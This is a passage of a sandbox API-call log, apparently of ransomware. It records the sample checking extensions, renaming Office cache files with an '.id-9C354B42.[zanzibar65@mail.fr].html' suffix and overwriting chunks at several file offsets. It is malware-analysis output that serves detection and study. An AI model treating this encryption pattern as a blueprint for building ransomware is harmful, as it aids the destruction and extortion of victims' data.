lpNewFilePointer=0x0, dwMoveMethod=0x2d7fec8 | out: lpNewFilePointer=0x0) returned 1 [0049.896] WriteFile (in: hFile=0x210, lpBuffer=0x3930020*, nNumberOfBytesToWrite=0xc0104, lpNumberOfBytesWritten=0x2d7fcb0, lpOverlapped=0x0 | out: lpBuffer=0x3930020*, lpNumberOfBytesWritten=0x2d7fcb0*=0xc0104, lpOverlapped=0x0) returned 1 [0049.914] SetEndOfFile (hFile=0x210) returned 1 [0050.032] RtlAllocateHeap (HeapHandle=0x220000, Flags=0x0, Size=0x40000) returned 0x3eb3070 [0050.032] SetFilePointerEx (in: hFile=0x210, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d7fc7c | out: lpNewFilePointer=0x0) returned 1 [0050.032] WriteFile (in: hFile=0x210, lpBuffer=0x3eb3070*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x2d7fc88, lpOverlapped=0x0 | out: lpBuffer=0x3eb3070*, lpNumberOfBytesWritten=0x2d7fc88*=0x40000, lpOverlapped=0x0) returned 1 [0050.072] SetFilePointerEx (in: hFile=0x210, liDistanceToMove=0xb84a74, lpNewFilePointer=0x0, dwMoveMethod=0x2d7fc7c | out: lpNewFilePointer=0x0) returned 1 [0050.072] WriteFile (in: hFile=0x210, lpBuffer=0x3eb3070*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x2d7fc88, lpOverlapped=0x0 | out: lpBuffer=0x3eb3070*, lpNumberOfBytesWritten=0x2d7fc88*=0x40000, lpOverlapped=0x0) returned 1 [0050.072] SetFilePointerEx (in: hFile=0x210, liDistanceToMove=0x224df5c, lpNewFilePointer=0x0, dwMoveMethod=0x2d7fc7c | out: lpNewFilePointer=0x0) returned 1 [0050.072] WriteFile (in: hFile=0x210, lpBuffer=0x3eb3070*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x2d7fc88, lpOverlapped=0x0 | out: lpBuffer=0x3eb3070*, lpNumberOfBytesWritten=0x2d7fc88*=0x40000, lpOverlapped=0x0) returned 1 [0050.074] HeapFree (in: hHeap=0x220000, dwFlags=0x0, lpMem=0x3eb3070 | out: hHeap=0x220000) returned 1 [0050.074] CloseHandle (hObject=0x210) returned 1 [0050.074] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\OWOW32WW.cab.id-9C354B42.[zanzibar65@mail.fr].html", dwFileAttributes=0x2020) returned 1 [0050.075] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\OWOW32WW.cab") returned 75 [0050.075] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\OWOW32WW.cab") returned 75 [0050.075] lstrlenW (lpString=".doc") returned 4 [0050.075] lstrcmpiW (lpString1=".doc", lpString2=".cab") returned 1 [0050.075] lstrlenW (lpString=".docx") returned 5 [0050.075] lstrcmpiW (lpString1=".docx", lpString2="W.cab") returned -1 [0050.075] lstrlenW (lpString=".pdf") returned 4 [0050.075] lstrcmpiW (lpString1=".pdf", lpString2=".cab") returned 1 [0050.075] lstrlenW (lpString=".xls") returned 4 [0050.075] lstrcmpiW (lpString1=".xls", lpString2=".cab") returned 1 [0050.075] lstrlenW (lpString=".xlsx") returned 5 [0050.075] lstrcmpiW (lpString1=".xlsx", lpString2="W.cab") returned -1 [0050.075] lstrlenW (lpString=".ppt") returned 4 [0050.075] lstrcmpiW (lpString1=".ppt", lpString2=".cab") returned 1 [0050.075] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\OWOW32WW.cab") returned 75 [0050.075] lstrlenW (lpString=".zip") returned 4 [0050.075] lstrcmpiW (lpString1=".zip", lpString2=".cab") returned 1 [0050.075] lstrlenW (lpString=".rar") returned 4 [0050.075] lstrcmpiW (lpString1=".rar", lpString2=".cab") returned 1 [0050.075] lstrlenW (lpString=".bz2") returned 4 [0050.075] lstrcmpiW (lpString1=".bz2", lpString2=".cab") returned -1 [0050.075] lstrlenW (lpString=".7z") returned 3 [0050.075] lstrcmpiW (lpString1=".7z", lpString2="cab") returned -1 [0050.075] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\OWOW32WW.cab") returned 75 [0050.075] lstrlenW (lpString=".dbf") returned 4 [0050.075] lstrcmpiW (lpString1=".dbf", lpString2=".cab") returned 1 [0050.075] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\OWOW32WW.cab") returned 75 [0050.076] lstrlenW (lpString=".1cd") returned 4 [0050.076] lstrcmpiW (lpString1=".1cd", lpString2=".cab") returned -1 [0050.076] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\OWOW32WW.cab") returned 75 [0050.076] lstrlenW (lpString=".jpg") returned 4 [0050.076] lstrcmpiW (lpString1=".jpg", lpString2=".cab") returned 1 [0050.076] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\OWOW32WW.cab") returned 75 [0050.076] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\OWOW32WW.cab") returned 75 [0050.076] lstrlenW (lpString=".doc") returned 4 [0050.076] lstrcmpiW (lpString1=".doc", lpString2=".cab") returned 1 [0050.076] lstrlenW (lpString=".docx") returned 5 [0050.076] lstrcmpiW (lpString1=".docx", lpString2="W.cab") returned -1 [0050.076] lstrlenW (lpString=".pdf") returned 4 [0050.076] lstrcmpiW (lpString1=".pdf", lpString2=".cab") returned 1 [0050.076] lstrlenW (lpString=".xls") returned 4 [0050.076] lstrcmpiW (lpString1=".xls", lpString2=".cab") returned 1 [0050.076] lstrlenW (lpString=".xlsx") returned 5 [0050.076] lstrcmpiW (lpString1=".xlsx", lpString2="W.cab") returned -1 [0050.076] lstrlenW (lpString=".ppt") returned 4 [0050.076] lstrcmpiW (lpString1=".ppt", lpString2=".cab") returned 1 [0050.076] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\OWOW32WW.cab") returned 75 [0050.076] lstrlenW (lpString=".zip") returned 4 [0050.076] lstrcmpiW (lpString1=".zip", lpString2=".cab") returned 1 [0050.076] lstrlenW (lpString=".rar") returned 4 [0050.076] lstrcmpiW (lpString1=".rar", lpString2=".cab") returned 1 [0050.076] lstrlenW (lpString=".bz2") returned 4 [0050.076] lstrcmpiW (lpString1=".bz2", lpString2=".cab") returned -1 [0050.076] lstrlenW (lpString=".7z") returned 3 [0050.076] lstrcmpiW (lpString1=".7z", lpString2="cab") returned -1 [0050.076] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\OWOW32WW.cab") returned 75 [0050.076] lstrlenW (lpString=".dbf") returned 4 [0050.076] lstrcmpiW (lpString1=".dbf", lpString2=".cab") returned 1 [0050.076] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\OWOW32WW.cab") returned 75 [0050.077] lstrlenW (lpString=".1cd") returned 4 [0050.077] lstrcmpiW (lpString1=".1cd", lpString2=".cab") returned -1 [0050.077] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\OWOW32WW.cab") returned 75 [0050.077] lstrlenW (lpString=".jpg") returned 4 [0050.077] lstrcmpiW (lpString1=".jpg", lpString2=".cab") returned 1 [0050.077] lstrcmpiW (lpString1=".cab", lpString2=".html") returned -1 [0050.077] lstrlenW (lpString="PrjPrrWW.cab") returned 12 [0050.077] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PrjPrrWW.cab" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\prjprrww.cab"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x210 [0050.077] GetFileSizeEx (in: hFile=0x210, lpFileSize=0x2d7ff1c | out: lpFileSize=0x2d7ff1c*=162970271) returned 1 [0050.077] CloseHandle (hObject=0x210) returned 1 [0050.077] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PrjPrrWW.cab" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\prjprrww.cab")) returned 0x2020 [0050.077] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PrjPrrWW.cab.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\prjprrww.cab.id-9c354b42.[zanzibar65@mail.fr].html")) returned 0xffffffff [0050.077] MoveFileW (lpExistingFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PrjPrrWW.cab" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\prjprrww.cab"), lpNewFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PrjPrrWW.cab.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\prjprrww.cab.id-9c354b42.[zanzibar65@mail.fr].html")) returned 1 [0050.078] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PrjPrrWW.cab.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\prjprrww.cab.id-9c354b42.[zanzibar65@mail.fr].html"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x210 [0050.078] SetFilePointerEx (in: hFile=0x210, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d7fc6c | out: lpNewFilePointer=0x0) returned 1 [0050.078] SetFilePointerEx (in: hFile=0x210, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d7fc2c | out: lpNewFilePointer=0x0) returned 1 [0050.078] ReadFile (in: hFile=0x210, lpBuffer=0x3930058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x2d7fc38, lpOverlapped=0x0 | out: lpBuffer=0x3930058*, lpNumberOfBytesRead=0x2d7fc38*=0x40000, lpOverlapped=0x0) returned 1 [0050.085] SetFilePointerEx (in: hFile=0x210, liDistanceToMove=0x33ce8df, lpNewFilePointer=0x0, dwMoveMethod=0x2d7fc2c | out: lpNewFilePointer=0x0) returned 1 [0050.085] ReadFile (in: hFile=0x210, lpBuffer=0x3970058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x2d7fc38, lpOverlapped=0x0 | out: lpBuffer=0x3970058*, lpNumberOfBytesRead=0x2d7fc38*=0x40000, lpOverlapped=0x0) returned 1 [0050.090] SetFilePointerEx (in: hFile=0x210, liDistanceToMove=0xfffc0000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x2d7fc6c | out: lpNewFilePointer=0xffffffff) returned 1 [0050.090] SetFilePointerEx (in: hFile=0x210, liDistanceToMove=0x9b2ba9f, lpNewFilePointer=0x0, dwMoveMethod=0x2d7fc2c | out: lpNewFilePointer=0x0) returned 1 [0050.090] ReadFile (in: hFile=0x210, lpBuffer=0x39b0058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x2d7fc38, lpOverlapped=0x0 | out: lpBuffer=0x39b0058*, lpNumberOfBytesRead=0x2d7fc38*=0x40000, lpOverlapped=0x0) returned 1 [0050.105] SetFilePointerEx (in: hFile=0x210, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d7fec8 | out: lpNewFilePointer=0x0) returned 1 [0050.105] WriteFile (in: hFile=0x210, lpBuffer=0x3930020*, nNumberOfBytesToWrite=0xc0104, lpNumberOfBytesWritten=0x2d7fcb0, lpOverlapped=0x0 | out: lpBuffer=0x3930020*, lpNumberOfBytesWritten=0x2d7fcb0*=0xc0104, lpOverlapped=0x0) returned 1 [0050.387] SetEndOfFile (hFile=0x210) returned 1 [0050.387] RtlAllocateHeap (HeapHandle=0x220000, Flags=0x0, Size=0x40000) returned 0x3f8cbd8 [0050.387] SetFilePointerEx (in: hFile=0x210, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d7fc7c | out: lpNewFilePointer=0x0) returned 1 [0050.387] WriteFile (in: hFile=0x210, lpBuffer=0x3f8cbd8*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x2d7fc88, lpOverlapped=0x0 | out: lpBuffer=0x3f8cbd8*, lpNumberOfBytesWritten=0x2d7fc88*=0x40000, lpOverlapped=0x0) returned 1 [0050.388] SetFilePointerEx (in: hFile=0x210, liDistanceToMove=0x33ce8df, lpNewFilePointer=0x0, dwMoveMethod=0x2d7fc7c | out: lpNewFilePointer=0x0) returned 1 [0050.388] WriteFile (in: hFile=0x210, lpBuffer=0x3f8cbd8*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x2d7fc88, lpOverlapped=0x0 | out: lpBuffer=0x3f8cbd8*, lpNumberOfBytesWritten=0x2d7fc88*=0x40000, lpOverlapped=0x0) returned 1 [0050.391] SetFilePointerEx (in: hFile=0x210, liDistanceToMove=0x9b2ba9f, lpNewFilePointer=0x0, dwMoveMethod=0x2d7fc7c | out: lpNewFilePointer=0x0) returned 1 [0050.391] WriteFile (in: hFile=0x210, lpBuffer=0x3f8cbd8*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x2d7fc88, lpOverlapped=0x0 | out: lpBuffer=0x3f8cbd8*, lpNumberOfBytesWritten=0x2d7fc88*=0x40000, lpOverlapped=0x0) returned 1 [0050.393] HeapFree (in: hHeap=0x220000, dwFlags=0x0, lpMem=0x3f8cbd8 | out: hHeap=0x220000) returned 1 [0050.393] CloseHandle (hObject=0x210) returned 1 [0050.393] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PrjPrrWW.cab.id-9C354B42.[zanzibar65@mail.fr].html", dwFileAttributes=0x2020) returned 1 [0050.394] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PrjPrrWW.cab") returned 75 [0050.394] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PrjPrrWW.cab") returned 75 [0050.394] lstrlenW (lpString=".doc") returned 4 [0050.394] lstrcmpiW (lpString1=".doc", lpString2=".cab") returned 1 [0050.394] lstrlenW (lpString=".docx") returned 5 [0050.394] lstrcmpiW (lpString1=".docx", lpString2="W.cab") returned -1 [0050.394] lstrlenW (lpString=".pdf") returned 4 [0050.394] lstrcmpiW (lpString1=".pdf", lpString2=".cab") returned 1 [0050.394] lstrlenW (lpString=".xls") returned 4 [0050.394] lstrcmpiW (lpString1=".xls", lpString2=".cab") returned 1 [0050.394] lstrlenW (lpString=".xlsx") returned 5 [0050.394] lstrcmpiW (lpString1=".xlsx", lpString2="W.cab") returned -1 [0050.394] lstrlenW (lpString=".ppt") returned 4 [0050.394] lstrcmpiW (lpString1=".ppt", lpString2=".cab") returned 1 [0050.394] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PrjPrrWW.cab") returned 75 [0050.394] lstrlenW (lpString=".zip") returned 4 [0050.394] lstrcmpiW (lpString1=".zip", lpString2=".cab") returned 1 [0050.394] lstrlenW (lpString=".rar") returned 4 [0050.394] lstrcmpiW (lpString1=".rar", lpString2=".cab") returned 1 [0050.394] lstrlenW (lpString=".bz2") returned 4 [0050.394] lstrcmpiW (lpString1=".bz2", lpString2=".cab") returned -1 [0050.394] lstrlenW (lpString=".7z") returned 3 [0050.394] lstrcmpiW (lpString1=".7z", lpString2="cab") returned -1 [0050.394] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PrjPrrWW.cab") returned 75 [0050.394] lstrlenW (lpString=".dbf") returned 4 [0050.394] lstrcmpiW (lpString1=".dbf", lpString2=".cab") returned 1 [0050.395] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PrjPrrWW.cab") returned 75 [0050.395] lstrlenW (lpString=".1cd") returned 4 [0050.395] lstrcmpiW (lpString1=".1cd", lpString2=".cab") returned -1 [0050.395] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PrjPrrWW.cab") returned 75 [0050.395] lstrlenW (lpString=".jpg") returned 4 [0050.395] lstrcmpiW (lpString1=".jpg", lpString2=".cab") returned 1 [0050.395] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PrjPrrWW.cab") returned 75 [0050.395] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PrjPrrWW.cab") returned 75 [0050.395] lstrlenW (lpString=".doc") returned 4 [0050.395] lstrcmpiW (lpString1=".doc", lpString2=".cab") returned 1 [0050.395] lstrlenW (lpString=".docx") returned 5 [0050.395] lstrcmpiW (lpString1=".docx", lpString2="W.cab") returned -1 [0050.395] lstrlenW (lpString=".pdf") returned 4 [0050.395] lstrcmpiW (lpString1=".pdf", lpString2=".cab") returned 1 [0050.395] lstrlenW (lpString=".xls") returned 4 [0050.395] lstrcmpiW (lpString1=".xls", lpString2=".cab") returned 1 [0050.395] lstrlenW (lpString=".xlsx") returned 5 [0050.395] lstrcmpiW (lpString1=".xlsx", lpString2="W.cab") returned -1 [0050.395] lstrlenW (lpString=".ppt") returned 4 [0050.395] lstrcmpiW (lpString1=".ppt", lpString2=".cab") returned 1 [0050.395] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PrjPrrWW.cab") returned 75 [0050.395] lstrlenW (lpString=".zip") returned 4 [0050.395] lstrcmpiW (lpString1=".zip", lpString2=".cab") returned 1 [0050.395] lstrlenW (lpString=".rar") returned 4 [0050.395] lstrcmpiW (lpString1=".rar", lpString2=".cab") returned 1 [0050.395] lstrlenW (lpString=".bz2") returned 4 [0050.395] lstrcmpiW (lpString1=".bz2", lpString2=".cab") returned -1 [0050.395] lstrlenW (lpString=".7z") returned 3 [0050.395] lstrcmpiW (lpString1=".7z", lpString2="cab") returned -1 [0050.395] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PrjPrrWW.cab") returned 75 [0050.396] lstrlenW (lpString=".dbf") returned 4 [0050.396] lstrcmpiW (lpString1=".dbf", lpString2=".cab") returned 1 [0050.396] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PrjPrrWW.cab") returned 75 [0050.396] lstrlenW (lpString=".1cd") returned 4 [0050.396] lstrcmpiW (lpString1=".1cd", lpString2=".cab") returned -1 [0050.396] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PrjPrrWW.cab") returned 75 [0050.396] lstrlenW (lpString=".jpg") returned 4 [0050.396] lstrcmpiW (lpString1=".jpg", lpString2=".cab") returned 1 [0050.396] lstrcmpiW (lpString1=".dll", lpString2=".html") returned -1 [0050.396] lstrlenW (lpString="osetup.dll") returned 10 [0050.396] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\osetup.dll" (normalized: "c:\\msocache\\all users\\{91140000-0057-0000-1000-0000000ff1ce}-c\\osetup.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x210 [0050.396] GetFileSizeEx (in: hFile=0x210, lpFileSize=0x2d7ff1c | out: lpFileSize=0x2d7ff1c*=7378792) returned 1 [0050.396] CloseHandle (hObject=0x210) returned 1 [0050.396] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\osetup.dll" (normalized: "c:\\msocache\\all users\\{91140000-0057-0000-1000-0000000ff1ce}-c\\osetup.dll")) returned 0x2020 [0050.396] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\osetup.dll.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\msocache\\all users\\{91140000-0057-0000-1000-0000000ff1ce}-c\\osetup.dll.id-9c354b42.[zanzibar65@mail.fr].html")) returned 0xffffffff [0050.397] MoveFileW (lpExistingFileName="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\osetup.dll" (normalized: "c:\\msocache\\all users\\{91140000-0057-0000-1000-0000000ff1ce}-c\\osetup.dll"), lpNewFileName="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\osetup.dll.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\msocache\\all users\\{91140000-0057-0000-1000-0000000ff1ce}-c\\osetup.dll.id-9c354b42.[zanzibar65@mail.fr].html")) returned 1 [0050.397] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\osetup.dll.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\msocache\\all users\\{91140000-0057-0000-1000-0000000ff1ce}-c\\osetup.dll.id-9c354b42.[zanzibar65@mail.fr].html"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x210 [0050.397] SetFilePointerEx (in: hFile=0x210, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d7fc6c | out: lpNewFilePointer=0x0) returned 1 [0050.397] SetFilePointerEx (in: hFile=0x210, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d7fc2c | out: lpNewFilePointer=0x0) returned 1 [0050.397] ReadFile (in: hFile=0x210, lpBuffer=0x3930058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x2d7fc38, lpOverlapped=0x0 | out: lpBuffer=0x3930058*, lpNumberOfBytesRead=0x2d7fc38*=0x40000, lpOverlapped=0x0) returned 1 [0050.400] SetFilePointerEx (in: hFile=0x210, liDistanceToMove=0x2587cd, lpNewFilePointer=0x0, dwMoveMethod=0x2d7fc2c | out: lpNewFilePointer=0x0) returned 1 [0050.400] ReadFile (in: hFile=0x210, lpBuffer=0x3970058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x2d7fc38, lpOverlapped=0x0 | out: lpBuffer=0x3970058*, lpNumberOfBytesRead=0x2d7fc38*=0x40000, lpOverlapped=0x0) returned 1 [0050.404] SetFilePointerEx (in: hFile=0x210, liDistanceToMove=0xfffc0000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x2d7fc6c | out: lpNewFilePointer=0xffffffff) returned 1 [0050.404] SetFilePointerEx (in: hFile=0x210, liDistanceToMove=0x6c9768, lpNewFilePointer=0x0, dwMoveMethod=0x2d7fc2c | out: lpNewFilePointer=0x0) returned 1 [0050.404] ReadFile (in: hFile=0x210, lpBuffer=0x39b0058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x2d7fc38, lpOverlapped=0x0 | out: lpBuffer=0x39b0058*, lpNumberOfBytesRead=0x2d7fc38*=0x40000, lpOverlapped=0x0) returned 1 [0050.759] SetFilePointerEx (in: hFile=0x210, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d7fec8 | out: lpNewFilePointer=0x0) returned 1 [0050.759] WriteFile (in: hFile=0x210, lpBuffer=0x3930020*, nNumberOfBytesToWrite=0xc0100, lpNumberOfBytesWritten=0x2d7fcb0, lpOverlapped=0x0 | out: lpBuffer=0x3930020*, lpNumberOfBytesWritten=0x2d7fcb0*=0xc0100, lpOverlapped=0x0) returned 1 [0050.772] SetEndOfFile (hFile=0x210) returned 1 [0050.772] RtlAllocateHeap (HeapHandle=0x220000, Flags=0x0, Size=0x40000) returned 0x3f4c2e0 [0050.904] SetFilePointerEx (in: hFile=0x210, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d7fc7c | out: lpNewFilePointer=0x0) returned 1 [0050.905] WriteFile (in: hFile=0x210, lpBuffer=0x3f4c2e0*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x2d7fc88, lpOverlapped=0x0 | out: lpBuffer=0x3f4c2e0*, lpNumberOfBytesWritten=0x2d7fc88*=0x40000, lpOverlapped=0x0) returned 1 [0050.906] SetFilePointerEx (in: hFile=0x210, liDistanceToMove=0x2587cd, lpNewFilePointer=0x0, dwMoveMethod=0x2d7fc7c | out: lpNewFilePointer=0x0) returned 1 [0050.906] WriteFile (in: hFile=0x210, lpBuffer=0x3f4c2e0*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x2d7fc88, lpOverlapped=0x0 | out: lpBuffer=0x3f4c2e0*, lpNumberOfBytesWritten=0x2d7fc88*=0x40000, lpOverlapped=0x0) returned 1 [0050.908] SetFilePointerEx (in: hFile=0x210, liDistanceToMove=0x6c9768, lpNewFilePointer=0x0, dwMoveMethod=0x2d7fc7c | out: lpNewFilePointer=0x0) returned 1 [0050.908] WriteFile (in: hFile=0x210, lpBuffer=0x3f4c2e0*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x2d7fc88, lpOverlapped=0x0 | out: lpBuffer=0x3f4c2e0*, lpNumberOfBytesWritten=0x2d7fc88*=0x40000, lpOverlapped=0x0) returned 1 [0050.909] HeapFree (in: hHeap=0x220000, dwFlags=0x0, lpMem=0x3f4c2e0 | out: hHeap=0x220000) returned 1 [0050.911] CloseHandle (hObject=0x210) returned 1 [0050.911] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\osetup.dll.id-9C354B42.[zanzibar65@mail.fr].html", dwFileAttributes=0x2020) returned 1 [0050.912] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\osetup.dll") returned 73 [0050.912] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\osetup.dll") returned 73 [0050.912] lstrlenW (lpString=".doc") returned 4 [0050.912] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0050.912] lstrlenW (lpString=".docx") returned 5 [0050.912] lstrcmpiW (lpString1=".docx", lpString2="p.dll") returned -1 [0050.912] lstrlenW (lpString=".pdf") returned 4 [0050.912] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0050.912] lstrlenW (lpString=".xls") returned 4 [0050.912] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0050.912] lstrlenW (lpString=".xlsx") returned 5 [0050.912] lstrcmpiW (lpString1=".xlsx", lpString2="p.dll") returned -1 [0050.912] lstrlenW (lpString=".ppt") returned 4 [0050.912] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0050.912] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\osetup.dll") returned 73 [0050.912] lstrlenW (lpString=".zip") returned 4 [0050.912] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0050.912] lstrlenW (lpString=".rar") returned 4 [0050.912] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0050.912] lstrlenW (lpString=".bz2") returned 4 [0050.912] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0050.912] lstrlenW (lpString=".7z") returned 3 [0050.912] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0050.912] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\osetup.dll") returned 73 [0050.912] lstrlenW (lpString=".dbf") returned 4 [0050.912] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0050.912] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\osetup.dll") returned 73 [0050.912] lstrlenW (lpString=".1cd") returned 4 [0050.913] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0050.913] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\osetup.dll") returned 73 [0050.913] lstrlenW (lpString=".jpg") returned 4 [0050.913] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0050.913] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\osetup.dll") returned 73 [0050.913] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\osetup.dll") returned 73 [0050.913] lstrlenW (lpString=".doc") returned 4 [0050.913] 